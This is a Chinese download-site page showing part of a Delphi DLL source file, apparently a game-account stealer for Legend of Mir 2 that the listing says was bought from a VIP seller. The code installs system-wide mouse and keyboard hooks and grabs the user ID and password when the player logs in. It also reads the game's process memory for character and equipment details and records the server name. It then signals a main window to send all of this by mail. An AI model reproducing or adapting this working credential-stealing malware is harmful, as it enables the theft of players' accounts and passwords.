⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit_dllmain.pas

📁 传奇2万能变形特征码+极度流畅版,以前vip买回来的,现在已经过时了
💻 PAS
📖 第 1 页 / 共 4 页
字号:
                iLastStart := m + k + 1;

                m := j + 4;
                for k := 0 to 3 do
                  if sTmp[m + k] = '/' then break
                  else if (sTmp[m + k] < '0') or (sTmp[m + k] > '9') then break;
                if sTmp[m + k] <> '/' then continue;
                inc(m, k + 1);

                for k := 0 to 3 do
                  if sTmp[m + k] = '/' then break
                  else if (sTmp[m + k] < '0') or (sTmp[m + k] > '9') then break;
                if sTmp[m + k] <> '/' then continue;
                inc(m, k + 1);

                if (sTmp[m] <> '0') and (sTmp[m] <> '1') then continue;
                if sTmp[m + 1] <> '/' then continue;
                inc(m, 2);
                i := iLastStart;
                break;
              end;
            end;
          end;
        end;

        if i > 0 then
        begin
          inc(nCount);
          begin
            begin
              delete(sTmp, 1, i - 1);
              role := copy(sTmp, 1, i + 200);
            end;
            if length(role) >= 10 then
            begin
              result := true;
              Break;
            end;
          end;
        end;
      end;
      MemoAddr := DWORD(PMemoAddr) + nSize;
      if MemoAddr >= MaxMemoAddr then
        Break;
      PMemoAddr := Pointer(MemoAddr);
    end;
  except
  end;
  setlength(sTmp, 0);
  CloseHandle(ProcessHndle);
end;

function GetRoleInfo_Mir2: string;
const
  nSize = $80;
var
  Found, ProcessID: HWND;
  k: Integer;
  ss: string;
  role: string;
  sInfo1, sInfo2, sName, sSex, sJob, sLevel: string;
begin
  Found := FindWindow('TFRMMAIN', nil);
  if Found = 0 then begin
    Result := '没有发现运行的 Mir2 !';
    exit;
  end else begin
    ss := GetCaption(Found);
    if Copy(ss, 1, 13) = 'legend of mir' then begin
      GetWindowThreadProcessId(Found, @ProcessID)
    end else begin
      Result := '没有发现运行的 Mir2 !';
      exit;
    end;
  end;

  if not GetRoleFromMem(ProcessID, role) then begin
    Result := '取 Mir2 角色信息失败!'#13#10'请重试。';
    exit;
  end;
   //清空内存数据
  ZeroMemory(@MyPShareMem^.strJs1Name,1024);
  ZeroMemory(@MyPShareMem^.strJs2Name,1024);
  ZeroMemory(@MyPShareMem^.strJs1Sex,1024);
  ZeroMemory(@MyPShareMem^.strJs2Sex,1024);
  ZeroMemory(@MyPShareMem^.strJs1Job,1024);
  ZeroMemory(@MyPShareMem^.strJs2Job,1024);
  ZeroMemory(@MyPShareMem^.strJs1Leve,1024);
  ZeroMemory(@MyPShareMem^.strJs2Leve,1024);
  sName := '';
  sSex := '';
  sLevel := '';
  sJob := '';
  if role[1] = '*' then
    Delete(role, 1, 1);
  k := Pos('/', role);
  sName := Copy(role, 1, k - 1);
  Delete(role, 1, k);
  if role[1] = '0' then
    sJob := '武士'
  else if role[1] = '1' then
    sJob := '魔法师'
  else if role[1] = '2' then
    sJob := '道士'
  else begin
    Exit;
  end;
  Delete(role, 1, 2);
  k := Pos('/', role);
  Delete(role, 1, k);
  k := Pos('/', role);
  sLevel := Copy(role, 1, k - 1);
  Delete(role, 1, k);
  if role[1] = '0' then
    sSex := '男'
  else if role[1] = '1' then
    sSex := '女'
  else begin
    Exit;
  end;
  StrCopy(MyPShareMem^.strJs1Name, PChar(sName));
  StrCopy(MyPShareMem^.strJs1Sex, PChar(sSex));
  StrCopy(MyPShareMem^.strJs1Job, PChar(sJob));
  StrCopy(MyPShareMem^.strJs1Leve, PChar(sLevel + '级'));
  sInfo1 := sName + '(' + sSex + ')' + sLevel + '级' + sJob;
  Result := result + '人物A-' + sInfo1;
  sName := '';
  sSex := '';
  sLevel := '';
  sJob := '';
  Delete(role, 1, 2);
  k := Pos('/', role);
  sName := Copy(role, 1, k - 1);
  Delete(role, 1, k);
  if role[1] = '0' then
    sJob := '武士'
  else if role[1] = '1' then
    sJob := '魔法师'
  else if role[1] = '2' then
    sJob := '道士'
  else begin
    exit;
  end;
  Delete(role, 1, 2);
  k := Pos('/', role);
  Delete(role, 1, k);
  k := Pos('/', role);
  sLevel := Copy(role, 1, k - 1);
  Delete(role, 1, k);
  if role[1] = '0' then
    sSex := '男'
  else if role[1] = '1' then
    sSex := '女';
  StrCopy(MyPShareMem^.strJs2Name, PChar(sName));
  StrCopy(MyPShareMem^.strJs2Sex, PChar(sSex));
  StrCopy(MyPShareMem^.strJs2Job, PChar(sJob));
  StrCopy(MyPShareMem^.strJs2Leve, PChar(sLevel + '级'));
  sInfo2 := sName + '(' + sSex + ')' + sLevel + '级' + sJob;
  Result := Result + #13#10'人物B-' + sInfo2;
end;


function GetEquipFromMem(ProcessID: HWND; var equip: string): boolean;
var
  ProcessHndle: HWND;
  SysInfo: _SYSTEM_INFO;
  MBI: MEMORY_BASIC_INFORMATION;
  PMemoAddr: Pointer;
  MemoAddr, MaxMemoAddr: DWORD;
  nSize, lpNumberOfBytesRead: DWORD;
  nCount, i: DWORD;
  sTmp: string;
begin
  Result := false;
  equip := '';
  nCount := 0;
  ProcessHndle := OpenProcess(PROCESS_VM_OPERATION or PROCESS_VM_READ or PROCESS_QUERY_INFORMATION, false, ProcessID);
  if ProcessHndle <= 0 then exit;
  GetSystemInfo(SysInfo);
  PMemoAddr := SysInfo.lpMinimumApplicationAddress;
  MaxMemoAddr := DWORD(SysInfo.lpMaximumApplicationAddress);
  try
    while true do
    begin
      VirtualQueryEx(ProcessHndle, PMemoAddr, MBI, SizeOf(MBI));
      nSize := MBI.RegionSize;
      if MBI.State = MEM_COMMIT then
      begin
        setlength(sTmp, nSize);
        ReadProcessMemory(ProcessHndle, PMemoAddr,
          pchar(sTmp), nSize, lpNumberOfBytesRead);
        if IsWindows9x then
          i := Pos('On Win95', sTmp)
        else begin
          i := Pos(#1#1#2#2'WinSock 2.0', sTmp);
          if i > 0 then
            inc(i, $105);
        end;
        if i > 0 then
        begin
          equip := copy(sTmp, i, MaxEquip);
          result := true;
          Break;
        end;
      end;
      MemoAddr := DWORD(PMemoAddr) + nSize;
      if MemoAddr >= MaxMemoAddr then
        Break;
      PMemoAddr := Pointer(MemoAddr);
    end;
  except
  end;
  setlength(sTmp, 0);
  CloseHandle(ProcessHndle);
end;


function ExtractInfo(const sMem: string): string;
const
  _nOffset = 52;
var
  sTemp, sTemp1: string;
  cc: char;
  nOffset, nSize, nLen: integer;
  nCount, k, nn1, nn2: integer;
begin

  nLen := Length(sMem);
  nOffset := $238;
  nCount := 1;
  Result := '';
  repeat
    cc := sMem[nOffset];
    nSize := Byte(cc);
    if (cc = #0) or (nSize > 16) then begin
      inc(nOffset, _nOffset);
      continue;
    end;

    sTemp := Copy(sMem, nOffset + 1, nSize);
    if pos('{骺躴骺皗骺', sTemp) > 0 then Break;
    if nOffset >= MaxEquip then break;

    nn1 := Length(sTemp);
    nn2 := Length(widestring(sTemp));
    if ((nn1 - nn2) < 2) or (2 * nn2 - nn1 > 2) then begin
      inc(nOffset, _nOffset);
      continue;
    end;

    k := Pos(sTemp, Result);
    if k > 0 then begin
      sTemp1 := Copy(Result, 1, k - 1);
      Delete(Result, 1, k);
      k := Pos(#13#10, Result);
      Delete(Result, 1, k + 1);
      inc(nCount);
      sTemp := sTemp + inttostr(nCount) + #13#10;
      Result := sTemp1 + sTemp + Result;
    end else begin
      nCount := 1;
      Result := Result + sTemp + #13#10;
    end;
    inc(nOffset, _nOffset);
  until nOffset >= nLen;
end;

function GetEquipment_Mir2: string;
var
  Found, ProcessID: HWND;
  szWindowText: array[0..MaxByte] of Char;
  sText, sMem: string;
begin
  Found := FindWindow('TFRMMAIN', nil);
  if Found = 0 then begin
    Result := '没有发现运行的 Mir2 !';
    exit;
  end else begin
    GetWindowText(Found, szWindowText, MaxByte);
    sText := StrPas(szWindowText);
    if Copy(sText, 1, 13) = 'legend of mir' then begin
      GetWindowThreadProcessId(Found, @ProcessID)
    end else begin
      Result := '没有发现运行的 Mir2 !';
      exit;
    end;
  end;

  if not GetEquipFromMem(ProcessID, sMem) then begin
    Result := '取 Mir2 穿戴物品失败!'#13#10'请重试。';
    exit;
  end;

  Result := ExtractInfo(sMem);
end;

function KeyBoardHookPro(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;
var
  hActiv: HWND;
  WinClass, WinText: string;
begin
  Result := 0;
  if iCode < 0 then Result := CallNextHookEx(hKeyBoardHook, iCode, wParam, lParam);
  if ((Lparam and $80000000) = 0) and (Wparam = $D) then
  begin
    hActiv := GetActiveWindow;
    WinClass := GetClass(hActiv);
    WinText := GetCaption(hActiv);
    if (Uppercase(WinClass) = 'TFRMMAIN') and (Copy(WinText, 1, 13) = 'legend of mir') then GetUserID_Password(hActiv);
  end;
end;

procedure Time1pro(hWnd: Longint; uMsg: UINT; idEvent: UINT; Time: DWORD); stdcall;
  function ChangeEolFormat(strEolIn: string): string;
  var
    iPos: integer;
  begin
    Result := '';
    iPos := 0;
    repeat
      iPos := Pos(#13#10, strEolIn);
      if iPos > 0 then
      begin
        Result := Result + Copy(strEolIn, 1, Pred(iPos)) + '/';
        Delete(strEolIn, 1, Succ(iPos));
      end;
    until iPos <= 0;
    if Result[Length(Result)] = '/' then Delete(Result, Length(Result), 1);
  end;
var
  strTemp: string;
begin
  killtimer(0, Timer1_IDEvent);
  strTemp := ChangeEolFormat(GetEquipment_Mir2);
  StrCopy(MyPShareMem^.strEquip, Pchar(strTemp));
  if MyPShareMem^.hMainWnd <> 0 then
    PostMessage(MyPShareMem^.hMainWnd, WM_SendMail, 0, 0);
end;


function MouseHookProc(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;
var
  hActiv: HWND;
  WinClass, WinText: string;
  L: Longint;
  AreaBuffer: array[0..255] of char;
  Rect: TRect;
  CurPos: TPoint;
  ServerName: string;
  strTemp: string;
begin
  Result := 0;
  if iCode < 0 then Result := CallNextHookEx(hMouseHook, iCode, wParam, lParam);
  if wparam = WM_LBUTTONDOWN then
  begin
    hActiv := SearMirwindow;
    if hActiv = 0 then Exit;
    WinClass := GetClass(hActiv);
    WinText := GetCaption(hActiv);
    if (Uppercase(WinClass) = 'TFRMMAIN') then
    begin
      if (WinText = '传奇客户端') then
      begin
        L := FindWindowEx(hActiv, 0, pchar('TComboBox'), nil);
        AreaBuffer[0] := #0;
        SendMessage(L, WM_GETTEXT, 36, dword(@AreaBuffer));
        if AreaBuffer[0] <> #0 then
        begin
          StrCopy(MyPShareMem^.strArea, AreaBuffer);

          if IsWindows9x then
            if MyPShareMem^.hMainWnd <> 0 then
              PostMessage(MyPShareMem^.hMainWnd, WM_InstallKeyHook9x, 0, 0);
          MyPShareMem^.nStep := 1;
        end;
      end

      else
        if Copy(WinText, 1, 13) = 'legend of mir' then
        begin
          case MyPShareMem^.nStep of
            1: begin
                Rect.TopLeft.X := 425;
                Rect.TopLeft.Y := 337;
                Rect.BottomRight.X := 495;
                Rect.BottomRight.Y := 365;
                GetCursorPos(CurPos);
                if PtInRect(Rect, CurPos) then GetUserID_Password(hActiv);
              end;
            2: begin
                if IsWindows9x then
                  if MyPShareMem^.hMainWnd <> 0 then
                    PostMessage(MyPShareMem^.hMainWnd, WM_UnInstallKeyHook9x, 0, 0);
                Rect.TopLeft.X := 308;
                Rect.TopLeft.Y := 141;
                Rect.BottomRight.X := 476;
                Rect.BottomRight.Y := 477;
                GetCursorPos(CurPos);
                if PtInRect(Rect, CurPos) then
                begin
                  ServerName := GetServerName(MyPShareMem^.strArea, CurPos.Y) + GetServerPlace(CurPos.Y);
                  StrCopy(MyPShareMem^.strServerName, Pchar(ServerName));
                  MyPShareMem^.nStep := 3;
                end;
              end;
            3: begin
                Rect.Left := 385;
                Rect.Top := 458;
                Rect.Right := 430;
                Rect.Bottom := 478;
                GetCursorPos(CurPos);
                if PtInRect(Rect, CurPos) then
                begin
                  GetRoleInfo_Mir2;
                  MyPShareMem^.nStep := 4;
                end;
              end;
            4: begin
                Rect.Left := 360;
                Rect.Top := 425;
                Rect.Right := 440;
                Rect.Bottom := 458;
                GetCursorPos(CurPos);
                if PtInRect(Rect, CurPos) then
                begin
                  MyPShareMem^.nStep := 0;
                  Timer1_IDEvent := SetTimer(0, Timer1ID, 1000 * 20, @Time1pro);
                end;
              end;
          end;
        end;
    end;
  end;
end;

function StartHook: Bool; stdcall;
var
  bWin9X: Boolean;
begin
  FirstProcess := True;
  MyPShareMem^.strArea := '';
  MyPShareMem^.nStep := 0;
  if hMouseHook = 0 then hMouseHook := SetWindowsHookEx(WH_MOUSE, MouseHookProc, Hinstance, 0);
  Result := hMouseHook <> 0;
  bWin9X := IsWindows9x;
  if bWin9X then Result := hMouseHook <> 0
  else begin
    if hKeyBoardHook = 0 then hKeyBoardHook := SetWindowsHookEx(WH_KEYBOARD, KeyBoardHookPro, HInstance, 0);
    Result := (hMouseHook <> 0) and (hKeyboardHook <> 0);
  end;
end;


function StopHook: Bool; stdcall;
begin
  if hKeyBoardHook <> 0 then
    if UnhookwindowsHookEx(hKeyBoardHook) then
      hKeyBoardHook := 0;

  if hMouseHook <> 0 then
    if UnhookwindowsHookEx(hMouseHook) then
      hMouseHook := 0;

  Result := (hMouseHook = 0) and (hKeyboardHook = 0);
end;


function EnableKeyBoardHook9X: Bool; stdcall;
begin
  if hKeyBoardHook = 0 then hKeyBoardHook := SetWindowsHookEx(WH_KEYBOARD, KeyBoardHookPro, HInstance, 0); 
  Result := hKeyBoardHook <> 0;
end;

function DisableKeyboardHook9X; stdcall;
begin
  if hKeyBoardHook <> 0 then
    if UnhookwindowsHookEx(hKeyBoardHook) then
      hKeyBoardHook := 0;
  Result := hMouseHook <> 0;
end;

initialization
  FirstProcess := False;
  hMappingFile := OpenFileMapping(FILE_MAP_WRITE, False, MappingFileName);
  if hMappingFile = 0 then
    hMappingFile := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(TShareMem), MappingFileName);
  if hMappingFile <> 0 then
    MyPShareMem := MapViewOfFile(hMappingFile, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0);
  hMouseHook := 0;
  hKeyboardHook := 0;
finalization
  if FirstProcess then StopHook;
  UnMapViewOfFile(MyPShareMem);
  CloseHandle(hMappingFile);
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -